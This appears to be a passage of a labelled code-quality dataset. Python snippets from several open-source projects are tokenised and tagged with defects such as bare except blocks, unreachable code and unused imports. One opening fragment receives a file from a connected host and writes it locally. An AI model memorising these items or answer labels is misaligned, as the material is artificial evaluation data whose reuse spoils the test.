", " _", "print_", "(_", "\"", "Connect", "ion", " ", "close", "d", " ", "by", " ", "client", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handler_", "._", "remove", "\\u", "host_", "(_", "cur", "\\u", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "1024_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "decode_", "==_", "'", "fna", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "File", " ", "doe", "s", " ", "not", " ", "exist", " ", "or", " ", "Access", " ", "Den", "ied", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "Bin", "Name_", "=_", "command_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "Bin", "Name_", "=_", "command_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "local", "Bin_", "=_", "open_", "(_", "local", "Bin", "Name_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Cann", "ot", " ", "create", " ", "local", " ", "file", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "1024_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "decode_", "=_", "recv", "\\u", "comm_", "(_", "int_", "(_", "decode_", ")_", ",_", "cur", "\\u", "host", "\\u", "con_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "local", "Bin_", "._", "write_", "(_", "decode_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "local", "Bin_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
callowayproject/django-supertagging/supertagging/markup.py
[ { "content": "def get_handler_module(module):\n if not module:\n return MarkupHandler\n \n mod, f, i, fn = None, None, None, None\n msplit = module.split(\".\")\n if len(msplit) == 1:\n mod = msplit[0]\n else:\n f = msplit[:-1]\n i = msplit[-1:]\n fn = \".\".join(f)\n \n if mod:\n try:\n return __import__(mod)\n except ImportError:\n return MarkupHandler\n else:\n try:\n mod = __import__(fn, fromlist=f)\n return getattr(mod, i[0])\n except:\n return MarkupHandler", "metadata": "root.get_handler_module", "header": "['module', '___EOS___']", "index": 59 } ]
[ { "span": "except:", "start_line": 81, "start_column": 8, "end_line": 81, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "handler", "\\u", "module_", "(_", "module_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "module_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Mark", "up", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mod_", ",_", "f_", ",_", "i_", ",_", "fn_", "=_", "None_", ",_", "None_", ",_", "None_", ",_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msp", "lit_", "=_", "module_", "._", "split_", "(_", "\".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "msp", "lit_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mod_", "=_", "msp", "lit_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "msp", "lit_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "msp", "lit_", "[_", "-_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "\".\"_", "._", "join_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u", "import\\u\\u_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Mark", "up", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mod_", "=_", "\\u\\u", "import\\u\\u_", "(_", "fn_", ",_", "froml", "ist_", "=_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "getattr_", "(_", "mod_", ",_", "i_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Mark", "up", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unreachable code
lisa-lab/pylearn2/pylearn2/packaged_dependencies/theano_linear/unshared_conv/test_localdot.py
[ { "content": " def run_autoencoder(\n self,\n n_train_iter=10000, # -- make this small to be a good unit test\n rf_shape=(9, 9),\n n_filters=1024,\n dtype='float32',\n module_stride=2,\n lr=0.01,\n show_filters=True,\n ):\n if show_filters:\n # import here to fail right away\n import matplotlib.pyplot as plt\n\n try:\n import skdata.vanhateren.dataset\n except ImportError:\n raise nose.SkipTest()\n\n # 1. Get a set of image patches from the van Hateren data set\n print('Loading van Hateren images')\n n_images = 50\n vh = skdata.vanhateren.dataset.Calibrated(n_images)\n patches = vh.raw_patches((self.n_patches,) + self.imshp,\n items=vh.meta[:n_images],\n rng=np.random.RandomState(123),\n )\n patches = patches.astype('float32')\n patches /= patches.reshape(self.n_patches, self.imshp[0] * self.imshp[1])\\\n .max(axis=1)[:, None, None]\n # TODO: better local contrast normalization\n\n if 0 and show_filters:\n plt.subplot(2, 2, 1); plt.imshow(patches[0], cmap='gray')\n plt.subplot(2, 2, 2); plt.imshow(patches[1], cmap='gray')\n plt.subplot(2, 2, 3); plt.imshow(patches[2], cmap='gray')\n plt.subplot(2, 2, 4); plt.imshow(patches[3], cmap='gray')\n plt.show()\n\n # -- Convert patches to localdot format:\n # groups x colors x rows x cols x images\n patches5 = patches[:, :, :, None, None].transpose(3, 4, 1, 2, 0)\n print('Patches shape', patches.shape, self.n_patches, patches5.shape)\n\n # 2. Set up an autoencoder\n print('Setting up autoencoder')\n hid = theano.tensor.tanh(self.A.rmul(self.xl))\n out = self.A.rmul_T(hid)\n cost = ((out - self.xl) ** 2).sum()\n params = self.A.params()\n gparams = theano.tensor.grad(cost, params)\n train_updates = [(p, p - lr / self.bsize * gp)\n for (p, gp) in zip(params, gparams)]\n if 1:\n train_fn = theano.function([], [cost], updates=train_updates)\n else:\n train_fn = theano.function([], [], updates=train_updates)\n\n theano.printing.debugprint(train_fn)\n\n # 3. Train it\n params[0].set_value(0.001 * params[0].get_value())\n for ii in xrange(0, self.n_patches, self.bsize):\n self.xl.set_value(patches5[:, :, :, :, ii:ii + self.bsize], borrow=True)\n cost_ii, = train_fn()\n print('Cost', ii, cost_ii)\n\n if 0 and show_filters:\n self.A.imshow_gray()\n plt.show()\n\n assert cost_ii < 0 # TODO: determine a threshold for detecting regression bugs", "metadata": "root.TestLocalDotLargeGray.run_autoencoder", "header": "['class', 'TestLocalDotLargeGray', '(', 'TestLocalDot32x32', ')', ':', '___EOS___']", "index": 72 } ]
[ { "span": "plt.subplot(2, 2, 1);", "start_line": 105, "start_column": 12, "end_line": 105, "end_column": 32 }, { "span": "train_fn = theano.function([], [], updates=train_updates)", "start_line": 128, "start_column": 12, "end_line": 128, "end_column": 69 }, { "span": "self.A.imshow_gray()", "start_line": 140, "start_column": 12, "end_line": 140, "end_column": 32 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "class_", "Test", "Local", "Dot", "Large", "Gra", "y_", "(_", "Test", "Local", "Dot", "32", "x3", "2_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run", "\\u", "autoe", "ncode", "r_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n", "\\u", "train", "\\u", "iter_", "=_", "10000_", ",_", "#", " ", "--", " ", "make", " ", "this", " ", "small", " ", "to", " ", "be", " ", "a", " ", "good", " ", "unit", " ", "test_", "\\u\\u\\uNL\\u\\u\\u_", "rf", "\\u", "shape_", "=_", "(_", "9_", ",_", "9_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n", "\\u", "filters_", "=_", "1024_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dtype_", "=_", "'", "float", "32", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "module", "\\u", "stride_", "=_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lr_", "=_", "0.01_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "show", "\\u", "filters_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "show", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "import", " ", "here", " ", "to", " ", "fail", " ", "right", " ", "away_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "sk", "data_", "._", "van", "hat", "eren", "_", "._", "dataset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "nose_", "._", "Ski", "p", "Test_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "1", ".", " ", "Get", " ", "a", " ", "set", " ", "of", " ", "image", " ", "patche", "s", " ", "from", " ", "the", " ", "van", " ", "Hat", "eren", " ", "data", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'", "Load", "ing", " ", "van", " ", "Hat", "eren", " ", "images", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n", "\\u", "images_", "=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vh", "_", "=_", "sk", "data_", "._", "van", "hat", "eren", "_", "._", "dataset_", "._", "Calibrat", "ed_", "(_", "n", "\\u", "images_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patches_", "=_", "vh", "_", "._", "raw", "\\u", "patches_", "(_", "(_", "self_", "._", "n", "\\u", "patches_", ",_", ")_", "+_", "self_", "._", "ims", "hp_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "items_", "=_", "vh", "_", "._", "meta_", "[_", ":_", "n", "\\u", "images_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rng_", "=_", "np_", "._", "random_", "._", "Random", "State_", "(_", "123_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patches_", "=_", "patches_", "._", "astype_", "(_", "'", "float", "32", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "patches_", "/=_", "patches_", "._", "reshape_", "(_", "self_", "._", "n", "\\u", "patches_", ",_", "self_", "._", "ims", "hp_", "[_", "0_", "]_", "*_", "self_", "._", "ims", "hp_", "[_", "1_", "]_", ")_", "._", "max_", "(_", "axis_", "=_", "1_", ")_", "[_", ":_", ",_", "None_", ",_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "bett", "er", " ", "local", " ", "contrast", " ", "normalization_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "0_", "and_", "show", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plt_", "._", "subplot_", "(_", "2_", ",_", "2_", ",_", "1_", ")_", ";_", "plt_", "._", "imshow_", "(_", "patches_", "[_", "0_", "]_", ",_", "cmap_", "=_", "'", "gray", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "subplot_", "(_", "2_", ",_", "2_", ",_", "2_", ")_", ";_", "plt_", "._", "imshow_", "(_", "patches_", "[_", "1_", "]_", ",_", "cmap_", "=_", "'", "gray", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "subplot_", "(_", "2_", ",_", "2_", ",_", "3_", ")_", ";_", "plt_", "._", "imshow_", "(_", "patches_", "[_", "2_", "]_", ",_", "cmap_", "=_", "'", "gray", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "subplot_", "(_", "2_", ",_", "2_", ",_", "4_", ")_", ";_", "plt_", "._", "imshow_", "(_", "patches_", "[_", "3_", "]_", ",_", "cmap_", "=_", "'", "gray", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "--", " ", "Convert", " ", "patche", "s", " ", "to", " ", "locald", "ot", " ", "format", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "group", "s", " ", "x", " ", "colors", " ", "x", " ", "rows", " ", "x", " ", "cols", " ", "x", " ", "images_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "patche", "s5", "_", "=_", "patches_", "[_", ":_", ",_", ":_", ",_", ":_", ",_", "None_", ",_", "None_", "]_", "._", "transpose_", "(_", "3_", ",_", "4_", ",_", "1_", ",_", "2_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Patche", "s", " ", "shape", "'_", ",_", "patches_", "._", "shape_", ",_", "self_", "._", "n", "\\u", "patches_", ",_", "patche", "s5", "_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "2", ".", " ", "Set", " ", "up", " ", "an", " ", "autoe", "ncode", "r_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "Sett", "ing", " ", "up", " ", "autoe", "ncode", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hid_", "=_", "theano_", "._", "tensor_", "._", "tanh_", "(_", "self_", "._", "A_", "._", "rm", "ul_", "(_", "self_", "._", "xl_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "self_", "._", "A_", "._", "rm", "ul", "\\u", "T_", "(_", "hid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cost_", "=_", "(_", "(_", "out_", "-_", "self_", "._", "xl_", ")_", "**_", "2_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "self_", "._", "A_", "._", "params_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gpa", "rams_", "=_", "theano_", "._", "tensor_", "._", "grad_", "(_", "cost_", ",_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "train", "\\u", "updates_", "=_", "[_", "(_", "p_", ",_", "p_", "-_", "lr_", "/_", "self_", "._", "bsi", "ze_", "*_", "gp_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "(_", "p_", ",_", "gp_", ")_", "in_", "zip_", "(_", "params_", ",_", "gpa", "rams_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "train", "\\u", "fn_", "=_", "theano_", "._", "function_", "(_", "[_", "]_", ",_", "[_", "cost_", "]_", ",_", "updates_", "=_", "train", "\\u", "updates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "train", "\\u", "fn_", "=_", "theano_", "._", "function_", "(_", "[_", "]_", ",_", "[_", "]_", ",_", "updates_", "=_", "train", "\\u", "updates_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "theano_", "._", "printin", "g_", "._", "debug", "print_", "(_", "train", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "3", ".", " ", "Train", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "[_", "0_", "]_", "._", "set\\u", "value_", "(_", "0.001_", "*_", "params_", "[_", "0_", "]_", "._", "get", "\\u", "value_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ii_", "in_", "xrange_", "(_", "0_", ",_", "self_", "._", "n", "\\u", "patches_", ",_", "self_", "._", "bsi", "ze_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "xl_", "._", "set\\u", "value_", "(_", "patche", "s5", "_", "[_", ":_", ",_", ":_", ",_", ":_", ",_", ":_", ",_", "ii_", ":_", "ii_", "+_", "self_", "._", "bsi", "ze_", "]_", ",_", "borrow", "_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cost", "\\u", "ii_", ",_", "=_", "train", "\\u", "fn_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", "Cost", "'_", ",_", "ii_", ",_", "cost", "\\u", "ii_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "0_", "and_", "show", "\\u", "filters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "A_", "._", "ims", "how", "\\u", "gray_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "cost", "\\u", "ii_", "<_", "0_", "#", " ", "TOD", "O", ":", " ", "dete", "rmin", "e", " ", "a", " ", "threshol", "d", " ", "for", " ", "detect", "ing", " ", "regress", "ion", " ", "bugs_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
Calysto/metakernel/metakernel/magics/tests/test_jigsaw_magic.py
[ { "content": "def teardown():\n for fname in ['workspace1.html']:\n try:\n os.remove(fname)\n except:\n pass", "metadata": "root.teardown", "header": "['module', '___EOS___']", "index": 11 } ]
[ { "span": "except:", "start_line": 15, "start_column": 8, "end_line": 15, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "teardown_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "fname_", "in_", "[_", "'", "works", "pace", "1", ".", "html", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "fname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2 ]
Unused import
rizumu/bootmachine/bootmachine/contrib/distros/attic/rackspace_arch_20139.py
[ { "content": "import time\nimport urllib2\n\nfrom fabric.api import env, run, sudo\nfrom fabric.colors import blue, cyan, green, magenta, red, white, yellow # noqa\nfrom fabric.context_managers import cd, settings as fabric_settings\nfrom fabric.contrib.files import append, contains, sed, uncomment\nfrom fabric.utils import abort\n\nimport settings\n\n\nDISTRO = \"ARCH_20139\"\nSALT_INSTALLERS = [\"aur\", \"aur-git\", \"bootstrap\"]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def validate_configurator_version():\n \"\"\"\n Arch is a rolling release distro, therefore it is important to ensure\n the configurator version is current.\n \"\"\"\n if settings.CONFIGURATOR_MODULE == \"bootmachine.contrib.configurators.salt\":\n pkgver = settings.SALT_AUR_PKGVER\n pkgrel = settings.SALT_AUR_PKGREL\n response = urllib2.urlopen(\"https://aur.archlinux.org/packages/sa/salt/PKGBUILD\")\n for line in response:\n if line.startswith(\"pkgver=\") and not pkgver in line:\n abort(\"The requested Salt 'pkgrel={0}' in the AUR was updated to '{1}'.\".format(\n pkgver, line.strip()))\n if line.startswith(\"pkgrel=\") and not pkgrel in line:\n abort(\"The requested Salt 'pkgrel={0}' in the AUR was updated to '{1}'.\".format(\n pkgrel, line.strip()))", "metadata": "root.validate_configurator_version", "header": "['module', '___EOS___']", "index": 16 }, { "content": "def bootstrap():\n \"\"\"\n Bootstrap Arch Linux.\n\n Only the bare essentials, the configurator will take care of the rest.\n \"\"\"\n validate_configurator_version()\n\n # upgrade pacakges\n run(\"pacman --noconfirm -Syu\")\n\n # install essential packages\n 